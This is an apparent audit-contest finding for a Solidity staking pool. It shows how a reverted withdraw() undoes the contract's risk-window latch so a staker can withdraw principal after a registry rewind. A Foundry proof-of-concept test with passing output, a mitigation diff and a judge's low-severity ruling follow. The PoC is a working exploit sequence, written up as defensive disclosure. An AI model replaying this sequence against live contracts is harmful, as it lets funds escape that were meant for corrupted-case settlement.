BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Severity: low
Valid

Failed withdraw during UNDER_ATTACK rolls back riskWindowStart, allowing principal escape after registry rewind

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: once the pool observes UNDER_ATTACK, withdrawals should remain permanently disabled. The local riskWindowStart latch is intended to prevent a later registry replacement/rewind from reopening withdrawals.

  • I observed that withdraw() calls _observePoolState() first. When the live state is UNDER_ATTACK, _observePoolState() sets riskWindowStart. But withdraw() then reverts with WithdrawsDisabled(). Because the whole transaction reverts, the riskWindowStart write is rolled back. If the registry is later rewound/replaced to NEW_DEPLOYMENT, withdraw() succeeds and the staker escapes principal that should remain available for CORRUPTED settlement.

// src/ConfidencePool.sol
​
function withdraw() external nonReentrant {
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
​
@> IAttackRegistry.ContractState state = _observePoolState();
​
if (
@> riskWindowStart != 0
|| (
state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED
)
) {
@> revert WithdrawsDisabled();
}
​
...
}
​
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
​
@> if (riskWindowStart == 0 && _isActiveRiskState(state)) {
@> _markRiskWindowStart();
}
​
...
}

The issue is that the one-way riskWindowStart observation is written inside a call path that later reverts for the same observed state. The revert cancels the latch.

Risk

Likelihood:

  • This occurs when a staker calls withdraw() while the registry state is UNDER_ATTACK, before any successful pokeRiskWindow() or other successful call persists riskWindowStart.

  • A later registry replacement, migration, or rewind to a pre-attack state such as NEW_DEPLOYMENT makes withdraw() pass because riskWindowStart is still zero.

Impact:

  • A staker can withdraw principal after the agreement already reached active risk.

  • If the pool later resolves CORRUPTED, the escaped principal is no longer available for the recovery address or good-faith attacker bounty.

Proof of Concept

Create this file:

cat > test/unit/WithdrawRewindEscapePoC.t.sol <<'EOF'
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
​
contract WithdrawRewindEscapePoC is BaseConfidencePoolTest {
function testControl_PersistedRiskWindowStartKeepsWithdrawDisabledAfterRewind() external {
_stake(alice, 100 * ONE);
​
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
​
// Successful observer call persists the riskWindowStart latch.
pool.pokeRiskWindow();
​
assertGt(pool.riskWindowStart(), 0, "risk start persisted");
​
MockAttackRegistry rewound = new MockAttackRegistry();
rewound.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
safeHarborRegistry.setAttackRegistry(address(rewound));
​
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
}
​
function testPoC_FailedWithdrawRollsBackRiskStartAndLaterRewindAllowsPrincipalEscape() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
​
assertEq(pool.eligibleStake(alice), 100 * ONE);
assertEq(token.balanceOf(address(pool)), 150 * ONE);
​
// Registry reaches active risk.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
​
// Alice tries to withdraw during UNDER_ATTACK.
// _observePoolState() sets riskWindowStart internally, then withdraw() reverts.
// The revert rolls back the riskWindowStart write.
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
​
assertEq(pool.riskWindowStart(), 0, "risk start was rolled back by failed withdraw");
​
// Simulate registry replacement / rewind to a pre-attack state.
MockAttackRegistry rewound = new MockAttackRegistry();
rewound.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
safeHarborRegistry.setAttackRegistry(address(rewound));
​
// Because riskWindowStart is still zero, withdrawals reopen.
uint256 aliceBefore = token.balanceOf(alice);
​
vm.prank(alice);
pool.withdraw();
​
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "alice escaped principal");
assertEq(pool.eligibleStake(alice), 0);
assertEq(pool.totalEligibleStake(), 0);
assertEq(token.balanceOf(address(pool)), 50 * ONE, "only bonus remains");
​
// Later the rewound registry goes through active risk and CORRUPTED.
rewound.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
​
rewound.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
​
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE());
​
vm.prank(dave);
pool.claimExpired();
​
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
assertEq(pool.corruptedReserve(), 50 * ONE);
​
uint256 recoveryBefore = token.balanceOf(recovery);
​
pool.claimCorrupted();
​
assertEq(token.balanceOf(recovery) - recoveryBefore, 50 * ONE);
assertEq(token.balanceOf(address(pool)), 0);
}
}
EOF

Run:

forge test --match-path test/unit/WithdrawRewindEscapePoC.t.sol -vvv

Observed output:

Ran 2 tests for test/unit/WithdrawRewindEscapePoC.t.sol:WithdrawRewindEscapePoC
[PASS] testControl_PersistedRiskWindowStartKeepsWithdrawDisabledAfterRewind() (gas: 463981)
[PASS] testPoC_FailedWithdrawRollsBackRiskStartAndLaterRewindAllowsPrincipalEscape() (gas: 631509)
Suite result: ok. 2 passed; 0 failed; 0 skipped

The control test proves that a persisted riskWindowStart correctly keeps withdrawals disabled after a registry rewind.

The exploit test proves that a failed withdraw() during UNDER_ATTACK rolls back the latch, allowing Alice to withdraw 100e18 principal after a rewind. Later CORRUPTED settlement can only sweep the remaining 50e18 bonus.

Recommended Mitigation

Do not perform one-way lifecycle observations inside a branch that will later revert and roll back the observation.

One direct fix is to make withdraw() explicitly persist the active-risk latch before returning/reverting disabled status, or to make the permissionless observer path responsible for persisting latches and avoid using reverting state-gated functions as observers.

A minimal direction is:

function withdraw() external nonReentrant {
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
​
IAttackRegistry.ContractState state = _observePoolState();
​
if (
riskWindowStart != 0
|| (
state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED
)
) {
- revert WithdrawsDisabled();
+ // Avoid rolling back the one-way riskWindowStart observation.
+ // Option A: return after emitting a WithdrawBlocked event.
+ // Option B: move the observation into a non-reverting pre-check path.
+ return;
}
​
...
}

A cleaner fix is to add a non-reverting internal observation path that persists riskWindowStart and then blocks withdrawal without reverting, or to require pokeRiskWindow() to be the only function that records one-way lifecycle latches. The key invariant is that once UNDER_ATTACK is observed, riskWindowStart must remain nonzero even if the user action that observed it cannot proceed.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

withdraw()'s own revert rolls back the riskWindowStart seal it just set, leaving a locked-in staker with zero bonus despite DESIGN.md #9's exit/premium guarantee

Impact - Low The staker keeps their principal, so what is lost is the premium they were accruing while locked, and it ends up at the sponsor's recoveryAddress. DESIGN.md #9 justifies the whole no-observed-risk rule by pairing two events, saying a staker forfeits the exit exactly when the premium starts. One call does the first and undoes the second. Likelihood - Low Any staker can cure this for free with pokeRiskWindow, which succeeds in the same state the withdrawal failed in. A permanent loss therefore needs the whole cohort to miss that step, and the trap is that the obvious move is the one that fails. A short active-risk interval can also close before anyone gets a block in which to poke. DESIGN.md #6 explains an unsealed window as nobody having interacted with the pool, which is exactly what did not happen here.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!